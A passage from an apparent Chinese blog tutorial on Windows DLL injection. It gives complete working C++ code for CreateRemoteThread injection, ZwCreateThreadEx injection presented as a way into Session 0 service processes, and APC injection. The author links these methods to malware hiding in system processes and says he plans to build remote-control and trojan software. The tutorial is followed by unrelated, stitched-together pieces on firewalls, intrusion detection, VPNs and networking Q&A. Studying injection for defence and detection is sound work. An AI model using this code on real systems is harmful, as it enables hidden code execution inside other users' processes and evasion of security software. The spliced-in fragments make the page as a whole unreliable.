    	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, NULL, dwPid);
    	//2.申请内存,写入DLL路径
    	int nLen = sizeof(WCHAR) * (wcslen(L"D:\\Dll2.dll") + 1);
    	LPVOID pBuf = VirtualAllocEx(hProcess, NULL, nLen, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
    	if (!pBuf)
    	{
    		printf("申请内存失败!\n");
    		return false;
    	}
    	//3.写入内存
    	SIZE_T dwWrite = 0;
    	if (!WriteProcessMemory(hProcess, pBuf, L"D:\\Dll2.dll", nLen, &dwWrite))
    	{
    		printf("写入内存失败!\n");
    		return false;
    	}
    	//4.创建远程线程,让对方调用LoadLibrary
    	HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, NULL,
    		(LPTHREAD_START_ROUTINE)LoadLibrary, pBuf, 0, 0);
    	//5.等待线程结束返回,释放资源
    	WaitForSingleObject(hRemoteThread, -1);
    	CloseHandle(hRemoteThread);
    	VirtualFreeEx(hProcess, pBuf, 0, MEM_FREE);
    	return true;
    }
    
    int main()
    {
    	SIZE_T dwPid;
    	cout << "请计算器PID" << endl;// endl用于换行
    	cin >> dwPid;
    	if (RemoteThreadInject(dwPid)) {
    		cout << "成功获取!" << endl;
    	}
    	system("PAUSE");
    	return 0;
    }
    

    其中PID为计算器的55424,运行结果如下图所示,弹出了注入DLL2的对话框。

    在这里插入图片描述

    通过Process Explorer能获取成功注入的DLL文件,如下图所示:

    在这里插入图片描述

    注意,我们可以通过CreateToolhelp32Snapshot、Module32First和Module32Next函数来枚举进程加载模块的信息,或者通过Process Explorer进程查看工具来浏览进程模块信息、模块名称、路径等,从而判断该模块是一个可信模块还是不可信模块。



    三.突破SESSION 0隔离的远线程注入

    读者在进行远线程注入是,会遇到一些服务进程不能成功注入。这是由于系统存在SESSION 0隔离的安全机制,传统的远线程注入DLL方法并不能突破SESSION 0隔离。接下来,我们继续介绍突破SESSION 0隔离的远线程注入。

    病毒木马使用传统的远线程注入技术,可以成功向一些普通的用户进程注入DLL,但是它们并不止步于此,却想注入到一些关键的系统服务进程中,使自己更加隐蔽,难以发现。由于SESSION 0隔离机制,导致传统远线程注入系统服务进程失败,经过前人不断逆向贪多,发现直接调用ZwCreateThreadEx函数可以进行远线程注入,还可以突破SESSION 0隔离,成功注入。

    1.什么是Session 0隔离

    首先,通过李老师的文章 “穿透Session 0 隔离(一)” 介绍什么是SESSION0隔离。在Windows XP、Windows Server 2003,以及更老版本的Windows操作系统中,服务和应用程序使用相同的会话(Session)运行,而这个会话是由第一个登录到控制台的用户启动的。该会话就叫做Session 0,如下图所示,在Windows Vista之前,Session 0不仅包含服务,也包含标准用户应用程序。

    在这里插入图片描述

    将服务和用户应用程序一起在Session 0中运行会导致安全风险,因为服务会使用提升后的权限运行,而用户应用程序使用用户特权(大部分都是非管理员用户)运行,这会使得恶意软件以某个服务为攻击目标,通过“劫持”该服务,达到提升自己权限级别的目的。

    从Windows Vista开始,只有服务可以托管到Session 0中,用户应用程序和服务之间会被隔离,并需要运行在用户登录到系统时创建的后续会话中。例如第一个登录的用户创建 Session 1,第二个登录的用户创建Session 2,以此类推,如下图所示。

    在这里插入图片描述

    使用不同会话运行的实体(应用程序或服务)如果不将自己明确标注为全局命名空间,并提供相应的访问控制设置,将无法互相发送消息,共享UI元素,或共享内核对象。这一过程如下图所示,这就是所谓的Session 0隔离。

    在这里插入图片描述



    2.突破Session 0隔离注入的实现原理

    与传统的CreateRemoteThread函数实现的远线程注入DLL的唯一区别在于,突破SESSION 0远线程注入技术是使用比CreateRemoteThread函数更为底层的ZwCreateThreadEx函数来创建远线程,而具体的远线程注入原理是相同的。

    ZwCreateThreadEx函数可以突破SESSION 0隔离,将DLL成功注入到SESSION 0隔离的系统服务进程中。其中,由于ZwCreateThreadEx在ntdll.dll中并没有声明,所以需要使用GetProcAddress从ntdll.dll中获取该函数的导出地址。

    • 64位ZwCreateThreadEx函数声明
    DWORD WINAPI ZwCreateThreadEx(
    	 PHANDLE ThreadHandle,
    	 ACCESS_MASK DesiredAccess,
    	 LPVOID ObjectAttributes,
    	 HANDLE ProcessHandle,
    	 LPTHREAD_START_ROUTINE lpStartAddress,
    	 LPVOID lpParameter,
    	 ULONG CreateThreadFlags,
    	 SIZE_T ZeroBits,
    	 SIZE_T StackSize,
    	 SIZE_T MaximumStackSize,
    	 LPVOID pUnkown);
    
    • 32位ZwCreateThreadEx函数声明
    DWORD WINAPI ZwCreateThreadEx(
    	 PHANDLE ThreadHandle,
    	 ACCESS_MASK DesiredAccess,
    	 LPVOID ObjectAttributes,
    	 HANDLE ProcessHandle,
    	 LPTHREAD_START_ROUTINE lpStartAddress,
    	 LPVOID lpParameter,
    	 BOOL CreateSuspended,
    	 DWORD dwStackSize,
    	 DWORD dw1,
    	 DWORD dw2,
    	 LPVOID pUnkown);
    

    ZwCreateThreadEx函数比CreateRemoteThread函数更为底层,CreateRemoteThread函数最终是通过调用ZwCreateThreadEx函数实现远线程创建的。既然两个WIN32 API函数类似,那么处于SESSION 0隔离的系统服务进程,为什么使用CreateRemoteThread注入会失败呢?

    通过调用CreateRemoteThread函数创建远线程的方式在内核6.0(Windows VISTA、7、8等)以前是完全没问题的,但是在内核6.0以后引入了会话隔离机制。它在创建一个进程之后并不立即运行,而是先挂起进程,在查看要运行的进程所在的会话层之后再决定是否恢复进程运行。

    经过追踪CreateRemoteThread函数和逆向分析发现,内部调用ZwCreateThreadEx函数创建远线程的时候,第7个参数CreateSuspended(CreateThreadFlags)值为1,它会导致线程创建完成后一直挂起无法恢复运行,这就是为什么DLL注入失败的原因。

    所以,想要使系统服务进程远线程注入成功,需要直接调用ZwCreateThreadEx函数,将第7个参数CreateSuspended(CreateThreadFlags)值设置为0,这样线程创建完成后就会恢复运行,成功注入。



    3.编程实现

    推荐及参考文章:

    第一步,创建项目“TPSession0Hook”,并添加mian.cpp文件。

    在这里插入图片描述

    第二步,添加核心代码如下:

    // 使用 ZwCreateThreadEx 实现远线程注入
    BOOL ZwCreateThreadExInjectDll(DWORD dwProcessId, char *pszDllFileName)
    {
        HANDLE hProcess = NULL;
        SIZE_T dwSize = 0;
        LPVOID pDllAddr = NULL;
        FARPROC pFuncProcAddr = NULL;
        HANDLE hRemoteThread = NULL;
        DWORD dwStatus = 0;
        // 打开注入进程,获取进程句柄
        hProcess = ::OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId);
        if (NULL == hProcess)
        {
            ShowError("OpenProcess");
            return FALSE;
        }
        // 在注入进程中申请内存
        dwSize = 1 + ::lstrlen(pszDllFileName);
        pDllAddr = ::VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE);
        if (NULL == pDllAddr)
        {
            ShowError("VirtualAllocEx");
            return FALSE;
        }
        // 向申请的内存中写入数据
        if (FALSE == ::WriteProcessMemory(hProcess, pDllAddr, pszDllFileName, dwSize, NULL))
        {
            ShowError("WriteProcessMemory");
            return FALSE;
        }
        // 加载 ntdll.dll
        HMODULE hNtdllDll = ::LoadLibrary("ntdll.dll");
        if (NULL == hNtdllDll)
        {
            ShowError("LoadLirbary");
            return FALSE;
        }
        // 获取LoadLibraryA函数地址
        pFuncProcAddr = ::GetProcAddress(::GetModuleHandle("Kernel32.dll"), "LoadLibraryA");
        if (NULL == pFuncProcAddr)
        {
            ShowError("GetProcAddress_LoadLibraryA");
            return FALSE;
        }
        // 获取ZwCreateThread函数地址
    #ifdef _WIN64
        typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            ULONG CreateThreadFlags,
            SIZE_T ZeroBits,
            SIZE_T StackSize,
            SIZE_T MaximumStackSize,
            LPVOID pUnkown);
    #else
        typedef DWORD(WINAPI *typedef_ZwCreateThreadEx)(
            PHANDLE ThreadHandle,
            ACCESS_MASK DesiredAccess,
            LPVOID ObjectAttributes,
            HANDLE ProcessHandle,
            LPTHREAD_START_ROUTINE lpStartAddress,
            LPVOID lpParameter,
            BOOL CreateSuspended,
            DWORD dwStackSize,
            DWORD dw1,
            DWORD dw2,
            LPVOID pUnkown);
    #endif
        typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)::GetProcAddress(hNtdllDll, "ZwCreateThreadEx");
        if (NULL == ZwCreateThreadEx)
        {
            ShowError("GetProcAddress_ZwCreateThread");
            return FALSE;
        }
        // 使用 ZwCreateThreadEx 创建远线程, 实现 DLL 注入
        dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, pDllAddr, 0, 0, 0, 0, NULL);
        if (NULL == hRemoteThread)
        {
            ShowError("ZwCreateThreadEx");
            return FALSE;
        }
        // 关闭句柄
        ::CloseHandle(hProcess);
        ::FreeLibrary(hNtdllDll);
        return TRUE;
    }
    

    接着在Process Explorer中右键单击标题栏,选择“Select Columns”项,显示进程当前所在的Session ID(session ID),如下图所示:

    在这里插入图片描述

    接着对处于SESSION 0中svchost.exe进程,以管理员权限运行程序,注入我们的测试DLL,可以看到DLL成功注入到svchost.exe进程空间中。

    在这里插入图片描述

    由于作者Win10操作系统始终没看到SESSION 0的svchost.exe进程,所以该部分没有进行相关验证。

    在这里插入图片描述

    最后补充一点内容:由于ZwCreateThreadEx在ntdll.dll并没有声明,所以需要自己声明函数原型,并使用 GetProcAddress从ntdll.dll中获取该函数的导出地址。而64位与32位系统下,ZwCreateThreadEx函数原型不一样。由于会话隔离,系统服务程序不能显示程序窗体,所以并不会因为MessageBox弹窗,也不能用常规方式创建用户进程。为了解决服务层和用户层的交互问题,微软专门提供了一系列以WTS(Windows Terminal Service)开头的函数来实现这些功能。



    四.APC注入详解

    说到APC注入,我就想到了WannaCry分析,通过APC注入将生成的dll注入到系统进程lsass.exe,接着释放资源mssecsvc.exe,最后释放勒索程序tasksche.exe。详见作者文章:

    在这里插入图片描述

    所以APC注入仍然是非常热门的技术,接着这部分内容将详细讲解该内容。

    1.APC注入

    APC英语是Asynchronous Procedure Call,为异步过程调用的缩写,是指函数在特定线程中被异步执行。在Microsoft Windows操作系统中,APC是一种并发机制,用于异步IO或者定时器。每个线程都有自己的APC队列,使用QueueUserAPC函数把一个APC函数压入APC队列中,当处于用户模式的APC压入线程APC队列后,该线程并不直接调用APC函数,除非线程处于可通知状态,调用的顺序为先入先出(FIFO)。

    APC是一种软中断机制,当一个线程从等待状态中苏醒时(线程调用SignalObjectAndWait 、SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx、MsgWaitForMultipleObjectsEx函数时会进入可唤醒状态),它会检测有没有APC交付给自己。如果有,就会执行这些APC过程。

    APC有两种形式:

    • 由系统产生的APC称为内核模式APC
    • 由应用程序产生的APC称为用户模式APC

    我们可以使用QueueUserAPC函数把一个APC函数压入APC队列中,实现DLL注入。

    QueueUserAPC函数
    将用户模式中的异步过程调用(APC)对象添加到指定线程的APC队列中。

    DWORD WINAPI QueueUserAPC(
        _In_ PAPCFUNC pfnAPC,          //APC函数的地址
        _In_ HANDLE hThread,           //线程句柄
        _In_ ULONG_PTR dwData          //APC函数的参数
    );
    

    参数

    • pfnAPC[in]:当指定线程执行可警告的等待操作时,指向应用程序提供的APC函数的指针。
    • hThread[in]:线程的句柄,该句柄必须具有THREAD_SET_CONTEXT访问权限。
    • dwData[in]:传递由pfnAPC参数指向的APC函数的单个值。

    返回值

    • 如果函数成功,则返回值为非零。
    • 如果函数失败,则返回值为零。


    2.编程实现

    在Windows系统中,每个线程都会维护一个线程APC队列,通过QUeueUserAPC把一个APC函数添加到指定线程的APC队列中。每个线程都有自己的APC队列,这个APC队列记录了要求线程执行的一些APC函数。Windows系统会发出一个软中断去执行这些APC函数,对于用户模式下的APC队列,当线程处在可警告状态时才会执行这些APC函数。一个线程在内部使用SignalObjectAndWait 、SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函数把自己挂起时就是进入可警告状态,此时便会执行APC队列函数。

    QueueUserAPC函数的第一个参数表示执行函数的地址,当开始执行该APC的时候,程序会跳转到该函数地址处来执行。第二个参数表示插入APC的线程句柄,要求线程句柄必须包含THREAD_SET_CONTEXT访问权限。第三个参数表示传递给执行函数的参数。与远线程注入类似,如果QueueUserAPC函数的第一个参数(函数地址)设置的是LoadLibraryA函数地址;第三个参数设置的是DLL路径,那么执行APC时便会调用LoadLibraryA函数加载指定路径的DLL,完成DLL注入操作。

    一个进程包含多个线程,为了确保能够执行插入的APC,应向目标进程的所有线程都插入相同的APC,实现加载DLL的操作。这样,只要唤醒进程中任意线程,开始执行APC的时候,便会执行插入的APC,实现DLL注入。

    实现APC注入的具体流程如下:

    • 通过OpenProcess打开目标进程,获取目标进程的句柄
    • 使用VirtualAllocEx在目标进程中申请空间
    • 使用WriteProcessMemory函数在刚申请的空间中写入要注入的DLL路径
    • 获取LoadLibraryA函数地址
    • 通过CreateToolhelp32Snapshot、Thread32First以及Thread32Next遍历线程快照,获取目标进程的所有线程ID
    • 遍历获取的线程ID,通过OpenThread函数以THREAD_ALL_ACCESS访问权限打开线程,获取线程句柄
    • 使用QueueUserAPC向所有线程插入APC函数,参数1是获取的地址,参数2是获取的句柄,参数3是申请空间的首地址

    参考:常见注入手法第二讲,APC注入 - iBinary


    第一步,创建一个DLL工程“APCDll”,其DllMain函数如下图所示。

    // dllmain.cpp : 定义 DLL 应用程序的入口点。
    #include "pch.h"
    
    BOOL APIENTRY DllMain( HMODULE hModule,
                           DWORD  ul_reason_for_call,
                           LPVOID lpReserved
                         )
    {
        switch (ul_reason_for_call)
        {
        case DLL_PROCESS_ATTACH:     //动态库装载时调用
            MessageBox(NULL, TEXT("APC注入DLL文件!"), TEXT("提示"), MB_OK);
        case DLL_THREAD_ATTACH:
        case DLL_THREAD_DETACH:
        case DLL_PROCESS_DETACH:
            break;
        }
        return TRUE;
    }
    

    编译生成“APCDll.dll”文件,在DLL附加时调用一个MessageBox。


    第二步,创建测试MFC程序“APCTest”,该程序就包括一个按钮,主要是调用SleepEx函数。
    测试程序用于调用等待,第二个参数给TRUE,第二个参数决定了你的APC是否调用。SleepEx函数中止当前线程运行直到指定的条件被触发。当以下任意一点出现时,当前线程将恢复运行。

    void CAPCTestDlg::OnBnClickedButton1()
    {
    	// TODO: 在此添加控件通知处理程序代码
    	SleepEx(5000, TRUE);
    }
    

    在这里插入图片描述


    br />

    第三步,创建我们要注入的MFC程序“APCInject”,该程序就包括一个按钮,主要插入APC。

    在这里插入图片描述

    添加代码如下:

    void CAPCInjectDlg::OnBnClickedButton1()
    {
    	//1.查找窗口
    	HWND hWnd = ::FindWindow(NULL, TEXT("APCTest"));
    	if (NULL == hWnd) {
    		return;
    	}
    
    	//2.获得进程的PID,进程PID可以快照遍历获取
    	DWORD dwPid = 0;
    	DWORD dwTid = 0;
    	dwTid = GetWindowThreadProcessId(hWnd, &dwPid);
    
    	//3.打开进程
    	HANDLE hProcess = NULL;
    	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    	if (NULL == hProcess) {
    		return;
    	}
    
    	//4.成功申请远程内存
    	void* lpAddr = NULL;
    	lpAddr = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	if (NULL == lpAddr) {
    		return;
    	}
    
    	//5.写入DLL路径,这里我写入当前根目录下的路径
    	char szBuf[] = "APCDll.dll";
    	BOOL bRet = WriteProcessMemory(hProcess, lpAddr, szBuf, strlen(szBuf) + 1, NULL);
    	if (!bRet) {
    		return;
    	}
    
    	//6.根据线程Tid 打开线程句柄
    	HANDLE hThread = NULL;
    	hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, dwTid);
    	if (NULL == hThread) {
    		return;
    	}
    
    	//7.给APC队列中插入回调函数
    	QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpAddr);
    	CloseHandle(hThread);
    	CloseHandle(hProcess);
    }
    

    第四步,测试程序。
    可以遍历进程快照获取线程的TID,然后再判断快照中的进程PID是否与注入程序的PID相等,如果相等则可以注入。接着将三个程序放在一起,然后打开注入程序和被注入程序。

    在这里插入图片描述

    运行结果如下图所示,可以看到“APC注入DLL文件”成功。

    在这里插入图片描述

    同样360安全卫士也会提示错误。

    在这里插入图片描述

    DLL功能被执行了,我们用Process Explorer看到被注入程序多了一个DLL。

    在这里插入图片描述

    总结:APC注入原理是利用当线程被唤醒时APC中的注册函数会执行的机制,并以此去执行DLL加载代码,进而完成DLL注入。为了增加APC执行的可能性,应向目标进程中所有的线程都插入APC。与之前介绍的远线程注入类似,注入操作通常实现的是加载DLL的功能,因此可以通过查看进程模块的信息,来判断进程是否注入到了其他模块。



    五.总结

    写到这里,这篇文章就介绍完毕,希望对您有所帮助,还是觉得自己菜。学安全近一年,认识了很多安全大佬和朋友,希望大家一起进步。这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢甘老师和参考文献中的安全大佬们,深知自己很菜,得努力前行。最后还是那句话,人生路上,好好享受陪伴家人的日子,那才是最幸福的事情,爱你~

    欢迎大家讨论,是否觉得这系列文章帮助到您!任何建议都可以评论告知读者,共勉。

    最近真的特别忙,写博客、学新知识的时间都没有,越做越觉得知识的无边,自己的无知。十年编程生涯过去,又回到了最初的起点——C语言和VS加油!接下来会做一个Windows远控及木马软件,也会挤时间分享新的系列博客(图5),感觉还是挺有意思的。
    还未走远,已是思恋武汉返校在即,最近多做点好菜犒劳女神,没有什么比亲情更值得珍惜,图4的新笔记本我也会画出属于我们的2020年蓝天。回廊清风抚白发,一笑弥新仍少年。愿大家都要好好的~同时,祝大家端午节安康。

    在这里插入图片描述

    (By:Eastmount 2020-06-25 晚上8点写于贵阳 http://blog.csdn.net/eastmount/ )



    展开全文
  • 常见的防火墙技术: 1.包过滤防火墙 包过滤防火墙主要是针对OSI模型中的网络层和传输层的信息进行分析。通常包过滤防火墙用来控制IP、UDP、TCP、ICMP和其他协议。包过滤防火墙对通过防火墙的数据包进行检查,...

    第五章 5.4安全设备

    防火墙

    防火墙是网络关联的重要设备,用于控制网络之间的语言。外部网络用户的访问必须先经过安全策略过滤,而内部网络用户对外部网络的访问则无须过滤。

    常见的三种防火墙技术

    1.包过滤防火墙
    包过滤防火墙主要是针对OSI模型中的网络层和传输层的信息进行分析。通常包过滤防火墙用来控制IP、UDP、TCP、ICMP和其他协议。包过滤防火墙对通过防火墙的数据包进行检查,只有满足条件的数据包才能通过,对数据包的检查内容一般包括源地址、目的地址和协议。包过滤防火墙通过规则(如ACL)来确定数据包是否能通过。配置了ACL的防火墙可以看成包过滤防火墙

    包过滤技术可能存在的攻击有:IP地址欺骗、源路由攻击、微分片攻击;

    2.代理服务器式防火墙

    3.基于状态检测的防火墙

    状态检查技术是包过滤技术的一种增强,其主要思想就是利用防火墙已经验证通过的连接,建立一个临时的状态表。状态表的生成过程是:对新建的应用连接,状态检测检查预先设置的安全规则,允许符合规则的连接通过,并在内存中记录下该连接的相关信息,省策划生成状态表。

    1、防火墙的目的是实施访问控制和加强站点安全策略,其访问控制包含四个方面或层次的内容:服务控制、方向控制、用户控制、行为控制。
    
    2、防火墙可以实现的功能如下:
    1)防火墙设立了单一阻塞点,它使得未授权的用户无法进入网络,禁止了潜在的易受攻击的服务进入或是离开网络,同时防止了多种形式的IP欺骗和路由攻击。
    2)防火墙提供了一个监控安全事件的地点。对于安全问题的检查和警报可以在防火墙系统上实施。
    3)防火墙还可以提供一些其他功能,比如地址转换器,它把私有地址映射为Internet地址,又如网络管理功能,它用来审查和记录Internet的使用。
    4)防火墙可以作为IPSec的平台。防火墙可以用来实现虚拟专用网络。
    
    3、按照防火墙实现的技术不同可以分为:数据包过滤、应用层网关、电路层网关。
    

    经典防火墙体系结构

    双重宿主主机结构:以一台双重宿主主机作为防火墙系统的主体,分离内外网
    在这里插入图片描述
    被屏蔽主机体系结构:一台独立的路由器和内网堡垒主机构成的防火墙系统。通过包过滤方式实现内外网隔离和内网保护
    在这里插入图片描述
    被屏蔽子网体系结构:由DMZ网络、外部路由器、内部路由器以及堡垒主机构成的防火墙系统。外部路由器保护DMZ和内网、内部路由器隔离DMZ和内网。

    在这里插入图片描述

    防火墙规则

    防火墙的安全规则由匹配条件和处理方式构成。

    1.匹配条件,即逻辑表达式。如果表达式结果为真,说明规则匹配成功,则依据规则处理数据。

    当防火墙工作在网络层时,依据IP报头进行规则匹配。
    匹配条件包含:

    • IP源地址
    • IP目的地址
    • 协议
    • 源端口
    • 目的端口
    • ACK码字

    2.安全规则的处理方式主要有三种

    • Accept:允许数据报文通过
    • Reject:拒绝数据报文通过,并且通知信息源
    • Drop:直接丢弃数据报文,并且不通知信息源

    防火墙的缺省规则

    • 默认拒绝:未被允许的就是被禁止的。处理方式为Accept
    • 默认允许:未被禁止的就是允许的。处理方式可以是Reject,也可以是Drop。

    入侵检测和入侵防护

    1、入侵检测与防护的技术主要有两种:入侵检测系统(Instrusion Detection System,IDS)和入侵防护系(InstrusionPreventionSystem,IPS)
    
    2、入侵检测的基本模型是PDR模型,其思想是防护时间大于检测时间和响应时间。
    
    3、针对静态的系统安全模型提出了“动态安全模型(P2DR)”.P2DR模型包含4个主要部分:Policy(安全策略),Protection(防护),Detection(检测)和Response(响应)
    
    4、入侵检测技术主要分为两大类型:异常入侵检测和误用入侵检测。
    
    5、入侵检测系统的体系结构大致可以分为基于主机型(Host-Based)、基于网络型(Network-Based)和基于主体型(Agent-Based)三种。
    
    6、基于主机入侵检测系统的检测原理是根据主机的审计数据和系统的日志发现可疑事件,检测系统可以运行在被检测的主机或单独的主机上。
    
    7、基于网络的入侵检测系统是根据网络流量、协议分析、简单网络管理协议信息等数据检测入侵,如Netstat检测就是基于网络型的。
    
    8、基于主体的入侵检测系统主要的方法是采用相互独立运行的进程组(称为自治主体)分别负责检测,通过训练这些主体,并观察系统行为,然后将这些主体认为是异常的行为标记出来,并将检测结果传送到检测中心。
    
    9、异常检测的方法有统计方法、预测模式生成、专家系统、神经网络、用户意图识别、数据挖掘和计算机免疫学方法等。
    
    10、误用检测一般是由计算机安全专家首先对攻击情况和系统漏洞进行分析和分类,然后手工的编写相应的检测规则和特征模型。
    
    11、Snort的配置有3个主要模式:嗅探(Sniffer)、包记录(PacketLogger)和网络入侵检测(Network Instrusion Detection).嗅探模式主要是读取网络上的数据包并在控制台上用数据流不断地显示出来;包记录模式把数据包记录在磁带上;网络入侵检测模式是最复杂最难配置的,它可以分析网流量与用户定义的规则设置进行匹配然后根据结果指行相应的操作。
    

    VPN

    1、VPN架构中采用了多种安全机制,如隧道技术(Tunneling)、加解密技术(Encryption)、密钥管理技术、身份认证技术(Authentication)等。
     
    2、VPN可以通过ISAKMP/IKE/Oakley协商确定可选的数据加密算法,其中包括DES(数据加密标准),3DES(三重数据加密标准)和AES(高级加密标准)等。
    
    3、DES该密码用56位的密钥对64位的数据块进行加密。当被加密的数据大于64位时,需要把加密的数据分割成多个64位的数据块;当被加密数据不足64位时,需要把它填充到64位。为了增强安全性,一般使用3DES。
    
    4、三种最常见也是最为广泛实现的隧道技术是:点对点隧道协议(PPTP,Point-toPointTunnelingProtocol),第2层隧道协议(L2TP,Layer2TunnelingProtocol),IP安全协议(IPSec)。除了这三种技术以外还有通用路由封装(GRE,GenericRouteEncapsulation)、L2F以及SOCK协议等。
    
    5、IPSec是一个标准的第三层安全协议,是一个协议包。它工作在七层OSI协议中的网络层,用于保护IP数据包,由于工作在网络层,因此可以用于两台主机之间、网络安全网关之间或主机与网关之间爱你。其目标是为IPv4和IPv6提供具有较强的互操作能力、高质量和基于密码的安全。
    
    6、IPSec的工作主要有数据验证(Authentication),数据完整(Integrity)和信任(Confidenticality).
    
    7、目前IPSec协议可以采用两种方法来对数据提供加密和认证:ESP(EncapsulatingSecurityPayload)协议和AH(AuthenticationHeader)协议。
    

    网络协议分析与流量控制工具

    网络协议分析与流量控制工具是一个能帮助网络管理者捕获和解析网络中的数据,从而得到网络现状的工具

    网络流量监控技术
    常用的流量检测技术如下:

    • 基于硬件探针的监测
    • 基于流量镜像的监测
    • 基于SNMP的流量监测
    • 基于NetFlow的流量监测

    协议分析

    流量监控的基础是协议分析。

    主要方法:

    • 端口识别
    • 深度包监测
    • 深度流监测

    常见的网络协议分析与流量控制工具

    常见的网络协议分析与流量控制工具有Sniffer、Wireshark、MRTG、NBAR、网御SIS-3000等

    展开全文
  • 问题4-27:在因特网中最常见的分组长度大约是多少个字节? 问题4-28:IP数据报的最大长度是多少个字节? 问题4-29:IP数据报的首部的最大长度是多少个字节?典型的IP数据报首部是多长? 问题4-30:IP数据报在传输的...
  • 3.2 完整数据内容 1、wireshark有三个数据包显示窗口: ...会话数据是两个网络设备之间通信行为的汇总,也称流数据,会话数据最常见的是标准五元组数据: 源ip地址、源端口、目的ip地址、目的端口、传输协...

    3.2 完整数据内容

    1、wireshark有三个数据包显示窗口:

    数据包列表

    数据包结构

    原始数据包

    2、进行数据包分析时,常用到以下三种技术:

    包过滤

    模式匹配

    协议字段分析

    3.3 提取内容数据

    包字符串数据

    3.4 会话数据

    会话数据是两个网络设备之间通信行为的汇总,也称流数据,会话数据最常见的是标准五元组数据:

    源ip地址、源端口、目的ip地址、目的端口、传输协议

    会话流分析技术:

    会话/流列举

    导出数据流

    文件及数据挖掘

    3.5 统计数据

    3.6元数据

    元数据又称中介数据、中继数据,是用于描述数据的数据,主要是描述数据属性的信息,用来支持如指示存储位置、历史数据、资源查找、文件记录等功能。

    3.7日志数据

    物理设备日志

    网络设备日志

    操作系统日志

    应用程序日志

    3.8 告警数据

    展开全文
  • 数据安全与保密 一、加密体系 按照加密秘钥和解密密钥的异同,有两密钥体制: *对称密码体制 *非对称密码体制 1、对称密码体制 对称密码... 常见的对称密钥技术 *DES:是一迭代的分组密码,输入...
  • 数据安全与保密 一、加密体系 按照加密秘钥和解密密钥的异同,有两密钥体制: *对称密码体制 *非对称密码体制 1、对称密码体制 对称密码体制又称为秘密密钥体制(私密密码... 常见的对称密钥技术 *...
  • 详解黑客攻击方式1---网络欺骗攻击

    千次阅读 热门讨论 2021-03-08 18:37:28
    黑客的攻击方式1、网络欺骗攻击1.1、五种常见的网络欺骗方式1.2、网络钓鱼攻击概念1.3、网络钓鱼攻击的常用手段1.4、网络钓鱼攻击的预防 1、网络欺骗攻击     网络信息安全是21世纪各国面临的...
  • 网络编程技术与实例>>

    热门讨论 2008-08-22 21:09:13
    本书全面、详细地介绍了JSP(Java Server Pages)网络开发技术的原理和基础编程知识,不仅包括JSP开发环境配置、JSP基本语法、JSP隐藏对象等内容,还包括JSP高级开发技术、数据库编程、Struts开发等内容。...
  • 可见,如果选择前一方法,即不作任何其他处理,那么数据链路层传输就不能“让网络层向下看起来好像是一条不出差错链路。” 现在问题是:到底哪一说法是正确? 问题3-2:当数据链路层使用PPP协议或...
  • 信息技术押题

    2020-10-27 17:12:50
    5.简述计算机五种常见动画及特点 6.简要回答信息技术课程主要性质(可拆成多个简答) 7.简要回答中学信息技术课程主要任务。 8.简答信息技术教学实施中应把握几个重要问题。 9.请谈谈如何提高信息技术...
  • 软考 网络工程师

    2009-08-27 15:21:30
    常见的拓扑结构是星型、 __(1)__ 与 __(2)__ 拓扑结构,而常见的信道访问方式有 __(3)__ 及 __(4)__ 。 网络配置和运行包括一系列保证局域网络运转的工作,主要有:选择网络操作系统和网络连接协议等;配置网络...
  • Web开发主流技术ASP-PHP-JSP评价 什么是Servlet以及Servlet优越性 实体对象抽象以及一基于数据库实现 使用 Java 连接处于proxy(or 防火墙)之外HTTP服务器 使用 XML 小服务程序配置文件配置小...
  • 本章将围绕 Quidway 系列路由器讨论各种常见网络物理接口与线缆的 相关内容,包括常见的接口规范、线缆的类型以及其一般机械特性、 电气特性、传输特性以及使用注意事项等等。 第三章以太网交换机基础 以太网发展及...
  • 计算机网络1.0.docx

    2020-07-08 17:47:09
    【问题2】上图中代理服务器还可以用何种网络连接设备实现?(7 ) 【问题3】在接入Internet时,区域(A)与区域(B)相比,哪个区域计算机安全性更好?(8 ) 【问题4】IP地址为192.168.0.36计算机发送到...
  • 、控制面板→管理工具→本地安全策略→本地策略→安全选项里,把“网络访问:本地帐户共享和安全模式”设为“仅来宾-本地用户以来宾身份验证”(可选,此项设置可去除访问时要求输入密码对话框,也可视情况...
  • 识别常见病毒,病毒一般是以隐藏形式藏匿在计算机文件中,要把文件隐藏属性打开。每一盘都有工具这个选项,如下图所示: 49 .常用DOS命令 60 第一章COMS设置 开机画面现在有两,一为AMI公司开发,...
  • 第二十章 Linux系统的网络安全 25.1 UUCP系统概述 25.1.1 UUCP命令 25.1.2 uux命令 25.1.3 uucico命令 25.1.4 uuxqt命令 25.2 UUCP安全问题 25.2.1 USERFILE文件 25.2.2 L.cmds文件 25.2.3 uucp登录 25.2.4 ...
  • 所以我们相信,XML做为一先进数据处理方法,将使网络跨越到一个新境界。 六. XML严格格式 吸取HTML松散格式带来经验教训,XML一开始就坚持实行"良好格式"。 我们先看HTML一些语句,这些语句在HTML中...
  • 3.6.1 Linux系统下的网络管理应用程序 27 3.6.2 SNMP 28 3.7 企业级Linux网络 28 3.7.1 高可用性 28 3.7.2 RAID 28 3.7.3 冗余网络 28 第4章 Linux系统管理简介 29 4.1 root 帐号 29 4.2 启动和关闭系统 29 4.2.1 从...
